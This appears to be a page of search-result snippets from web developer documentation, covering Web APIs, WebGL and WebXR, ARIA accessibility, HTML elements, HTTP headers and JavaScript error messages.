supported values are: sha-1 (but don't use this in cryptographic applications) sha-256 sha-384 sha-512.
...they have a variety of applications in cryptography.
... warning: this algorithm is now considered vulnerable and should not be used for cryptographic applications.
...And 4 more matches
SubtleCrypto.encrypt() - Web APIs
the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block chaining) gcm (galois/counter mode) it's strongly recommended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker.
... authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key.
... while it's possible to add authentication to ctr and cbc modes, they do not provide it by default and when implementing it manually one can easily make minor, but serious mistakes.
...And 4 more matches
TextTrack - Web APIs
WebAPITextTrack
thus, for displayed cues such as captions or subtitles, the active cues are currently being displayed.
... texttrack.inbandmetadatatrackdispatchtype read only returns a domstring which indicates the track's in-band metadata track dispatch type.
... needs details texttrack.kind read only returns a domstring indicating what kind of text track the texttrack describes.
...And 4 more matches
Touch - Web APIs
WebAPITouch
this can be helpful when dealing with imprecise pointing devices such as fingers.
...this may also be the case for radiusx and radiusy; if the hardware reports only a single point, these values will be 1.
...unlike clienty, this value includes the vertical scroll offset, if any.
...And 4 more matches
Transferable - Web APIs
the transferable interface represents an object that can be transfered between different execution contexts, like the main thread and web workers.
...this interface does not define any method or property; it is merely a tag indicating objects that can be used in specific conditions, such as being transfered to a worker using the worker.postmessage() method.
... note: the transferable interface technically no longer exists.
...And 4 more matches
USBDevice.opened - Web APIs
WebAPIUSBDeviceopened
the opened read only property of the usbdevice interface indicates whether a session has been started with a paired usb device.
... a device must be opened before it can be controlled by a web page.
... example this example is for a hypothetical usb device with a multi-colored led.
...And 4 more matches
USBEndpoint - Web APIs
this value is used to identify the endpoint when calling methods on usbdevice.
...data sent through an interrupt endpoint is guaranteed to be delivered or generate an error and is also given dedicated bus time for transmission.
... "isochronous" - provides unreliable data transfer for payloads that must be delivered periodically.
...And 4 more matches
ValidityState - Web APIs
the validitystate interface represents the validity states that an element can be in, with respect to constraint validation.
... properties for each of these boolean properties, a value of true indicates that the specified reason validation may have failed is true, with the exception of the valid property, which is true if the element's value obeys all constraints.
... customerror read only a boolean indicating whether the element's custom validity message has been set to a non-empty string by calling the element's setcustomvalidity() method.
...And 4 more matches
VideoTrack - Web APIs
only a single video track can be active at any given time, so setting this property to true for one track while another track is active will make that other track inactive.
...this id can be used to locate a specific track within a video track list by calling videotracklist.gettrackbyid().
... the id can also be used as the fragment part of the url if the media supports seeking by media fragment per the media fragments uri specification.
...And 4 more matches
WebGL2RenderingContext.clientWaitSync() - Web APIs
return value a glenum indicating the sync object's status.
... gl.already_signaled: indicates that the sync object was signaled when this method was called.
... gl.timeout_expired: indicates that the timeout time passed and that the sync object did not become signaled.
...And 4 more matches
WebGL2RenderingContext.texSubImage3D() - Web APIs
pixels); void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, htmlcanvaselement?
...possible values: gl.alpha: discards the red, green and blue components and reads the alpha component.
... gl.rgb: discards the alpha components and reads the red, green and blue components.
...And 4 more matches
WebGLRenderingContext.bindBuffer() - Web APIs
exceptions only one target can be bound to a given webglbuffer.
... a webglbuffer which has been marked for deletion with deletebuffer cannot be (re-)bound.
... examples binding a buffer to a target var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); getting current bindings to check the current buffer bindings, query the array_buffer_binding and element_array_buffer_binding constants.
...And 4 more matches
WebGLRenderingContext.disable() - Web APIs
the webglrenderingcontext.disable() method of the webgl api disables specific webgl capabilities for this context.
... syntax void gl.disable(cap); parameters cap a glenum specifying which webgl capability to disable.
... gl.scissor_test deactivates the scissor test that discards fragments that are outside of the scissor rectangle.
...And 4 more matches
WebGLRenderingContext.enable() - Web APIs
the webglrenderingcontext.enable() method of the webgl api enables specific webgl capabilities for this context.
... syntax void gl.enable(cap); parameters cap a glenum specifying which webgl capability to enable.
... gl.scissor_test activates the scissor test that discards fragments that are outside of the scissor rectangle.
...And 4 more matches
WebGLRenderingContext.getUniform() - Web APIs
the webglrenderingcontext.getuniform() method of the webgl api returns the value of a uniform variable at a given location.
... syntax any gl.getuniform(program, location); parameters program a webglprogram containing the uniform attribute.
... location a webgluniformlocation object containing the location of the uniform attribute to get.
...And 4 more matches
WebGLRenderingContext.getVertexAttrib() - Web APIs
gl.vertex_attrib_array_size: returns a glint indicating the size of an element of the vertex array.
... gl.vertex_attrib_array_stride: returns a glint indicating the number of bytes between successive elements in the array.
... when using a webgl 2 context, the following values are available additionally: gl.vertex_attrib_array_integer: returns a glboolean indicating whether or not an integer data type is in the vertex attribute array at the given index.
...And 4 more matches
Creating 3D objects using WebGL - Web APIs
to do this efficiently, we're going to switch from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing individual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements().
...we can pass a lot fewer data around by building an array of all 24 vertices, then referring to each vertex by its index into that array instead of moving entire sets of coordinates around.
... if you wonder why we need 24 vertices, and not just 8, it is because each corner belongs to three faces of different colors, and a single vertex needs to have a single specific color; therefore we will create three copies of each vertex in three different colors, one for each face.
...And 4 more matches
Introduction to WebRTC protocols - Web APIs
that way you don’t need a unique public ip for each device but can still be discovered on the internet.
... some routers will have restrictions on who can connect to devices on the network.
... this can mean that even though we have the public ip address found by the stun server, not anyone can create a connection.
...And 4 more matches
Window.getComputedStyle() - Web APIs
the returned style is a live cssstyledeclaration object, which updates automatically when the element's styles are changed.
...in nearly all cases, this is needless, as getcomputedstyle exists on the window object as well.
... use with pseudo-elements getcomputedstyle can pull style info from pseudo-elements (such as ::after, ::before, ::marker, ::line-marker — see the pseudo-element spec).
...And 4 more matches
Window.prompt() - Web APIs
WebAPIWindowprompt
can be omitted if there is nothing to show in the prompt window.
... example let sign = prompt("what's your sign?"); if (sign.tolowercase() == "scorpio") { alert("wow!
...if the user clicks the cancel button, this function returns null.
...And 4 more matches
WindowOrWorkerGlobalScope.btoa() - Web APIs
you can use this method to encode data which may otherwise cause communication problems, transmit it, then use the atob() method to decode the data again.
... for example, you can encode control characters such as ascii values 0 through 31.
...so if you pass a string into btoa() containing characters that occupy more than one byte, you will get an error, because this is not considered binary data: const ok = "a"; console.log(ok.codepointat(0).tostring(16)); // 61: occupies < 1 byte const notok = "✓" console.log(notok.codepointat(0).tostring(16)); // 2713: occupies > 1 byte console.log(btoa(ok)); // yq== console.log(btoa(notok)); // error if you need to encode unicode text as ascii using btoa(), one option is to convert the string such that ...
...And 4 more matches
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
the cleartimeout() method of the windoworworkerglobalscope mixin cancels a timeout previously established by calling settimeout().
... syntax scope.cleartimeout(timeoutid) parameters timeoutid the identifier of the timeout you want to cancel.
... this id was returned by the corresponding call to settimeout().
...And 4 more matches
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
it then calls a function called sendmessage(), passing the newly created stream and a string.
... inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
... a foreach() call is used to write each chunk of the string to the stream.
...And 4 more matches
WritableStreamDefaultWriter.close() - Web APIs
it then calls a function called sendmessage(), passing the newly created stream and a string.
... inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
... a foreach() call is used to write each chunk of the string to the stream.
...And 4 more matches
XMLHttpRequest.open() - Web APIs
note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort().
... async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously.
...if true, notification of a completed transaction is provided using event listeners.
...And 4 more matches
XMLHttpRequest.readyState - Web APIs
open() not called yet.
... 1 opened open() has been called.
... 2 headers_received send() has been called, and headers and status are available.
...And 4 more matches
XMLHttpRequest.upload - Web APIs
the xmlhttprequest upload property returns an xmlhttprequestupload object that can be observed to monitor an upload's progress.
... it is an opaque object, but because it's also an xmlhttprequesteventtarget, event listeners can be attached to track its process.
... the following events can be triggered on an upload object and used to monitor the upload: event event listener description loadstart onloadstart the upload has begun.
...And 4 more matches
XRPose.emulatedPosition - Web APIs
the emulatedposition read-only attribute of the xrpose interface is a boolean value indicating whether or not both the the position component of the pose's transform is directly taken from the xr device, or it's simulated or computed based on other sources.
... usage notes there are two basic categories of xr tracking systems.
... contrariwise, xr devices which can also track movement forward and backward as well as laterally—six degree of freedom (6dof) devices—don't require any information from other sources to determine the user's position, so the value of emulatedposition is false.
...And 4 more matches
XRReferenceSpaceEvent.transform - Web APIs
the read-only xrreferencespaceevent property transform indicates the position and orientation of the affected referencespace's native origin after the changes the event represents are applied.
... syntax let refspace = xrreferencespaceevent.transform; value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
... usage notes upon receiving a reset event, you can apply the transform to cached position or orientation information to shift them into the updated coordinate system.
...And 4 more matches
XRRigidTransform.matrix - Web APIs
the returned matrix can then be premultiplied with a column vector to rotate the vector by the 3d rotation specified by the orientation, then translate it by the position.
...thus, for an array [a0, a1, a2, ..., a13, a14, a15], the matrix looks like this: [a[0]a[4]a[8]a[12]a[1]a[5]a[9]a[13]a[2]a[6]a[10]a[14]a[3]a[7]a[11]a[15]]\begin{bmatrix} a[0] & a[4] & a[8] & a[12]\\ a[1] & a[5] & a[9] & a[13]\\ a[2] & a[6] & a[10] & a[14]\\ a[3] & a[7] & a[11] & a[15]\\ \end{bmatrix} the first time matrix is requested, it gets computed; after that, it's should be cached to avoid slowing down to compute it every time you need it.
... creating the matrix in this section, intended for more advanced readers, we cover how the api calculates the matrix for the specified transform.
...And 4 more matches
XRSession: selectend event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onselectend for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for selectstart events, a mybegintracking() function is called with the target ray pose's matrix.
...And 4 more matches
XRSession: selectstart event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onselectstart for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for selectstart events, a mybegintracking() function is called with the target ray pose's matrix.
...And 4 more matches
XRSession: squeezeend event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueezeend for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for squeezestart events, a mybegintracking() function is called with the target ray pose's matrix.
...And 4 more matches
XRSession: squeezestart event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueezestart for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for squeezestart events, a mybegintracking() function is called with the target ray pose's matrix.
...And 4 more matches
XRSession.visibilityState - Web APIs
the read-only visibilitystate property of the xrsession interface is a string indicating whether the webxr content is currently visible to the user, and if it is, whether it's the primary focus.
... syntax visibilitystate = xrsession.visibilitystate; value a domstring containing one of the values defined in the enumerated type xrvisibilitystate; this string indicates whether or not the xr content is visible to the user and if it is, whether or not it's currently the primary focus.
... the possible values of visibilitystate are: hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() callbacks are not being executed until thevisibilitystate changes.
...And 4 more matches
XRSessionMode - Web APIs
the webxr device api's xrsessionmode enumerated type defines the string values used to identify the possible kinds of session mode that can be used.
...the session's environmentblendmode indicates the method to be used to blend the content together.
... immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
...And 4 more matches
XRSystem - Web APIs
WebAPIXRSystem
with that xrsession in hand, you can use it to interact with the augmented reality (ar) or virtual reality (vr) device.
... usage notes thsi interface was previously known as simply xr in earlier versions of the specification; if you see references to xr in code or documentation, simply replace that with xrsystem.
...if it's found, we know webxr is present, so we proceed by establishing a handler for the button which the user can click to toggle immersive vr mode on and off.
...And 4 more matches
XRWebGLLayer() - Web APIs
depth optional a boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated.
... framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer.
... the static xrwebgllayer function xrwebgllayer.getnativeframebufferscalefactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution.
...And 4 more matches
XRWebGLLayerInit - Web APIs
depth optional a boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated.
... framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer.
... the static xrwebgllayer function xrwebgllayer.getnativeframebufferscalefactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution.
...And 4 more matches
Using the aria-labelledby attribute - Accessibility
assistive technology, such as screen readers, use this attribute to catalog the objects in a document so that users can navigate between them.
... without an element id, the assistive technology cannot catalog the object.
... in addition to form elements, you can use the aria-labelledby attribute to associate static text with widgets, groups of elements, panes, regions that have a heading, definitions, and other types of objects.
...And 4 more matches
Using the slider role - Accessibility
as the user interacts with the thumb, the application must programmatically adjust the slider's aria-valuenow (and possible aria-valuetext) attribute to reflect the current value.
...arrow keys should operate as follows (localization for right-to-left languages should reverse the direction of the arrows): key(s) action right and up arrows increase the selected value left and down arrows decrease the selected value page up and page down optionally increase and decrease the value by a set amount (e.g.
... examples example 1: simple numerical range in the example below, a simple slider is used to select a value between 1 and 100.
...And 4 more matches
ARIA: banner role - Accessibility
<div role="banner"> <img src="companylogo.svg" alt="my company name" /> <h1>title</h1> <h2>subtitle</h2> </div> by default, the html5 <header> element has an identical meaning to the banner landmark, unless it is a descendant of <aside>, <article>, <main>, <nav>, or <section>.
... the banner is typically includes things a logo or corporate identity, possibly a site-specific search tool, and is generally what your marketing team would call the header or top banner of the site.
... assistive technologies can identify the main header element of a page as the banner if is a descendant of the body element, and not nested within an article, aside, main, nav or section subsection.
...And 4 more matches
ARIA: search role - Accessibility
landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
... <form id="page-search" role="search" aria-label="on this page"> <!-- search input --> </form> repeated landmarks if a search landmark role in a document is repeated in a document, and both landmarks have identical content, use the same label for each landmark.
...And 4 more matches
Basic form hints - Accessibility
note that each <input> element has an id, and each <label> element has a for attribute, indicating the id of the associated <input>.
...wai-aria, the accessible rich internet applications specification from the w3c's web accessibility initiative, provides the aria-labelledby attribute for these cases.
... web developers typically use presentational strategies to indicate required or invalid fields.
...And 4 more matches
Color contrast - Accessibility
when designing readable interfaces for different vision capabilities, the wcag guidelines recommend the following contrast ratios: type of content minimum ratio (aa rating) enhanced ratio (aaa rating) body text 4.5 : 1 7 : 1 large-scale text (120-150% larger than body text) 3 : 1 4.5 : 1 active user interface components and graphical objects such as icons and graphs 3 : 1 not defined these ratios do not apply to "incidental" text, such as inactive controls, logotypes, or purely decorative text.
...this is because they don't see bright and dark areas as readily as those without such conditions, and therefore have trouble seeing edges, borders, and other details.
... it is good to have a cool design on your website, but the design is worthless if your users can't read your content.
...And 4 more matches
Mobile-friendliness - Developer guides
mobile friendliness can mean a multitude of things, depending on who you’re talking to.
... it can be helpful to think of it in terms of three goals for improving your site’s user experience: presentation, content, and performance.
... goal #1 (presentation) “make websites that work well on a variety of screen sizes.” these days, users can access the web on devices in a wide range of form factors, including phones, tablets, and ereaders.
...And 4 more matches
Printing - Developer guides
there may be times in which your web site or application would like to improve the user's experience when printing content.
... there may be other cases in which you want to manage the printing process, but these are some of the most common scenarios.
...you can use this to adjust the user interface presented during printing (such as by displaying or hiding user interface elements during the print process).
...And 4 more matches
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
it can be enabled via "about:config" and the "media.dash.enabled" preference.
... for example: the file in.video can be any container with at least one audio and one video stream that can be decoded by ffmpeg, create the audio using: ffmpeg -i in.video -vn -acodec libvorbis -ab 128k -dash 1 my_audio.webm create each video variant.
... ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f ...
...And 4 more matches
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
there can be only one <base> element in a document.
... a document's used base url can be accessed by scripts with document.baseuri.
... if the document has no <base> elements, then baseuri defaults to location.href.
...And 4 more matches
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
WebHTMLElementbdo
content categories flow content, phrasing content, palpable content.
...possible values are: ltr: indicates that the text should go in a left-to-right direction.
... rtl: indicates that the text should go in a right-to-left direction.
...And 4 more matches
<code>: The Inline Code element - HTML: Hypertext Markup Language
WebHTMLElementcode
the html <code> element displays its contents styled in a fashion intended to indicate that the text is a short fragment of computer code.
... content categories flow content, phrasing content, palpable content.
... example a paragraph of text that includes <code>: <p>the function <code>selectall()</code> highlights all the text in the input field so the user can, for example, copy or delete the text.</p> the output generated by this html looks like this: notes to represent multiple lines of code, wrap the <code> element within a <pre> element.
...And 4 more matches
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
content categories flow content, sectioning root permitted content flow content tag omission none, both the starting and ending tag are mandatory.
... open indicates that the dialog is active and can be interacted with.
... usage notes <form> elements can close a dialog if they have the attribute method="dialog".
...And 4 more matches
<main> - HTML: Hypertext Markup Language
WebHTMLElementmain
the main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application.
... content categories flow content, palpable content.
... permitted parents where flow content is expected, but only if it is a hierarchically correct main element.
...And 4 more matches
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
WebHTMLElementnav
content categories flow content, sectioning content, palpable content.
...<nav> is intended only for major block of navigation links; typically the <footer> element often has a list of links that don't need to be in a <nav> element.
...aria-labelledby can be used in such case to promote accessibility, see example.
...And 4 more matches
<output>: The Output element - HTML: Hypertext Markup Language
WebHTMLElementoutput
the html output element (<output>) is a container element into which a site or app can inject the results of a calculation or the outcome of a user action.
... content categories flow content, phrasing content, listed, labelable, resettable form-associated element, palpable content.
... for a space-separated list of other elements’ ids, indicating that those elements contributed input values to (or otherwise affected) the calculation.
...And 4 more matches
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
to decide which url to load, the user agent examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display device.
... it provides a fallback in case none of the offered <source> elements are able to provide a usable image.
... common use cases for <picture>: art direction.
...And 4 more matches
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
the html <slot> element—part of the web components technology suite—is a placeholder inside a web component that you can fill with your own markup, which lets you create separate dom trees and present them together.
... content categories flow content, phrasing content permitted content transparent events slotchange tag omission none, both the starting and ending tag are mandatory.
... examples <template id="element-details-template"> <style> details {font-family: "open sans light", helvetica, arial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0; background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> ...
...And 4 more matches
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
the html variable element (<var>) represents the name of a variable in a mathematical expression or a programming context.
... it's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent.
... content categories flow content, phrasing content, palpable content.
...And 4 more matches
data-* - HTML: Hypertext Markup Language
the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation by scripts.
... the * may be replaced by any name following the production rule of xml names with the following restrictions: the name must not start with xml, whatever case is used for these letters; the name must not contain any semicolon (u+003a); the name must not contain capital letters.
... note that the htmlelement.dataset property is a domstringmap, and the name of the custom data attribute data-test-value will be accessible via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase.
...And 4 more matches
draggable - HTML: Hypertext Markup Language
the draggable global attribute is an enumerated attribute that indicates whether the element can be dragged, either with native browser behavior or the html drag and drop api.
... draggable can have the following values: true: the element can be dragged.
... false: the element cannot be dragged.
...And 4 more matches
id - HTML: Hypertext Markup Language
this attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your ids somewhat human-readable can be useful for code comprehension, e.g.
...in contrast to the class attribute, which allows space-separated values, elements can only have one single id value.
... note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4.
...And 4 more matches
style - HTML: Hypertext Markup Language
even if all styling is removed, a page should remain semantically correct.
... typically it shouldn't be used to hide irrelevant information; this should be done using the hidden attribute.
... specifications specification status comment html living standardthe definition of 'style' in that specification.
...And 4 more matches
Resource URLs - HTTP
threats because some of the information shared by resource: urls is available to websites, a web page could run internal scripts and inspect internal resources of firefox, including the default preferences, which could be a serious security and privacy issue.
... for example, a script on browserleaks highlights what firefox reveals when queried by a simple script running on the site (you can find the code in https://browserleaks.com/firefox#more).
...for example: http://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575 web sites can easily collect firefox default preferences by overriding this pref() function and using the script resource:///defaults/preferences/firefox.js.
...And 4 more matches
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
the response to the cors request is missing the required access-control-allow-origin header, which is used to determine whether or not the resource can be accessed by content operating within the current origin.
... for example, to allow a site at https://amazing.site to access the resource using cors, the header should be: access-control-allow-origin: https://amazing.site you can also configure a site to allow any site to access it by using the * wildcard.
...in addition, the wildcard only works for requests made with the crossorigin attribute set to anonymous, and it prevents sending credentials like cookies in requests.
...And 4 more matches
Accept-Encoding - HTTP
two common cases lead to this: the data to be sent is already compressed and a second compression won't lead to smaller data to be transmitted.
... this may be the case with some image formats; the server is overloaded and cannot afford the computational overhead induced by the compression requirement.
... typically, microsoft recommends not to compress if a server uses more than 80% of its computational power.
...And 4 more matches
Access-Control-Max-Age - HTTP
the access-control-max-age response header indicates how long the results of a preflight request (that is the information contained in the access-control-allow-methods and access-control-allow-headers headers) can be cached.
... header type response header forbidden header name no syntax access-control-max-age: <delta-seconds> directives <delta-seconds> maximum number of seconds the results can be cached.
... uxp caps this at 24 hours (86400 seconds).
...And 4 more matches
Content-Encoding - HTTP
when present, its value indicates which encodings were applied to the entity-body.
...sometimes, using additional compression doesn't reduce payload size and can even make the payload longer.
...like the compress program, which has disappeared from most unix distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).
...And 4 more matches
CSP: report-uri - HTTP
the deprecated http content-security-policy (csp) report-uri directive instructs the user agent to report attempts to violate the content security policy.
... though the report-to directive is intended to replace the deprecated report-uri directive, report-to isn’t supported in most browsers yet.
... so for compatibility with current browsers while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to: content-security-policy: ...; report-uri https://endpoint.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored.
...And 4 more matches
If-Modified-Since - HTTP
if the request has not been modified since, the response will be a 304 without any body; the last-modified response header of a previous request will contain the date of last modification.
... unlike if-unmodified-since, if-modified-since can only be used with a get or head.
... the most common use case is to update a cached entity that has no associated etag.
...And 4 more matches
If-None-Match - HTTP
note that the server generating a 304 response must generate any of the following header fields that would have been sent in a 200 (ok) response to the same request: cache-control, content-location, date, etag, expires, and vary.
... the comparison with the stored etag uses the weak comparison algorithm, meaning two files are considered identical if the content is equivalent — they don't have to be identical byte for byte.
... for example, two pages that differ by the date of generation in the footer would still be considered as identical.
...And 4 more matches
If-Range - HTTP
WebHTTPHeadersIf-Range
this header can be used either with a last-modified validator, or with an etag, but not with both.
... the most common use case is to resume a download, to guarantee that the stored resource has not been modified since the last fragment has been received.
...it is a string of ascii characters placed between double quotes (like "675af34563dc-tr34") and may be prefixed by w/ to indicate that the weak comparison algorithm should be used.
...And 4 more matches
If-Unmodified-Since - HTTP
the if-unmodified-since request http header makes the request conditional: the server will send back the requested resource, or accept it in the case of a post or another non-safe method, only if it has not been last modified after the given date.
... there are two common use cases: in conjunction with non-safe methods, like post, it can be used to implement an optimistic concurrency control, like done by some wikis: editions are rejected if the stored document has been modified since the original has been retrieved.
... in conjunction with a range request with a if-range header, it can be used to ensure that the new fragment requested comes from an unmodified document.
...And 4 more matches
Range - HTTP
WebHTTPHeadersRange
the range http request header indicates the part of a document that the server should return.
... several parts can be requested with one range header at once, and the server may send back these ranges in a multipart document.
...the server can also ignore the range header and return the whole document with a 200 status code.
...And 4 more matches
User-Agent - HTTP
the user-agent request header is a characteristic string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.
...for historical reasons, almost every browser today sends it.
...note that platform can consist of multiple "; "-separated tokens.
...And 4 more matches
OPTIONS - HTTP
WebHTTPMethodsOPTIONS
the http options method requests permitted communication options for a given url or server.
... a client can specify a url with this method, or an asterisk (*) to refer to the entire server.
... request has body no successful response has body yes safe yes idempotent yes cacheable no allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the curl command-line program to issue an options request: curl -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: max-age=604800 date: thu, 13 oct 2016 11:45:00 gmt server: eos (lax004/2813) preflighted requests in cors in cors, a preflight request is sent with the options method so that the server ...
...And 4 more matches
Network Error Logging - HTTP
network error logging is a mechanism that can be configured via the nel http response header.
... this experimental header allows web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches from supporting browsers.
... usage web applications opt in to this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required.
...And 4 more matches
Warning: 08/09 is not a legal ECMA-262 octal constant - JavaScript
they can't be interpreted as an octal number.
... decimal literals can start with a zero (0) followed by another decimal digit, but if all digits after the leading 0 are smaller than 8, the number is interpreted as an octal number.
... because this is not the case with 08 and 09, javascript warns about it.
...And 4 more matches
SyntaxError: missing ) after argument list - JavaScript
the javascript exception "missing ) after argument list" occurs when there is an error with how a function is called.
... this might be a typo, a missing operator, or an unescaped string.
... there is an error with how a function is called.
...And 4 more matches
SyntaxError: missing ; before statement - JavaScript
the javascript exception "missing ; before statement" occurs when there is a semicolon (;) missing somewhere and can't be added by automatic semicolon insertion (asi).
... you need to provide a semicolon, so that javascript can parse the source code correctly.
...some of them are affected by automatic semicolon insertion (asi), but in this case you need to provide a semicolon, so that javascript can parse the source code correctly.
...And 4 more matches
TypeError: 'x' is not iterable - JavaScript
an iterable can be a built-in iterable type such as array, string or map, a generator result, or an object implementing the iterable protocol.
...therefore, you cannot use for…of to iterate over the properties of an object.
... var obj = { 'france': 'paris', 'england': 'london' }; // iterate over the property names: for (let country of object.keys(obj)) { var capital = obj[country]; console.log(country, capital); } for (const [country, capital] of object.entries(obj)) console.log(country, capital); another option for this use case might be to use a map: var map = new map; map.set('france', 'paris'); map.set('england', 'london'); // iterate over the property names: for (let country of map.keys()) { let capital = map[country]; console.log(country, capital); ...
...And 4 more matches
Method definitions - JavaScript
} } generator methods generator methods can be defined using the shorthand syntax as well.
...(that is, * g(){} will work, but g *(){} will not.) non-generator method definitions cannot contain the yield keyword.
... // using a named property const obj2 = { g: function* () { let index = 0 while (true) { yield index++ } } }; // the same object using shorthand syntax const obj2 = { * g() { let index = 0 while (true) { yield index++ } } }; const it = obj2.g() console.log(it.next().value) // 0 console.log(it.next().value) // 1 async methods async methods can also be defined using the shorthand syntax.
...And 4 more matches
Rest parameters - JavaScript
} description a function's last parameter can be prefixed with ...
... which will cause all remaining (user supplied) arguments to be placed within a "standard" javascript array.
... only the last parameter can be a "rest parameter".
...And 4 more matches
Array.prototype.length - JavaScript
the value is an unsigned, 32-bit integer that is always numerically greater than the highest index in the array.
... new array(4294967296); //2 to the 32nd power = 4294967296 var namelistc = new array(-100) //negative sign console.log(namelista.length); //rangeerror: invalid array length console.log(namelistc.length); //rangeerror: invalid array length var namelistb = []; namelistb.length = math.pow(2,32)-1; //set array length less than 2 to the 32nd power console.log(namelistb.length); //4294967295 you can set the length property to truncate an array at any time.
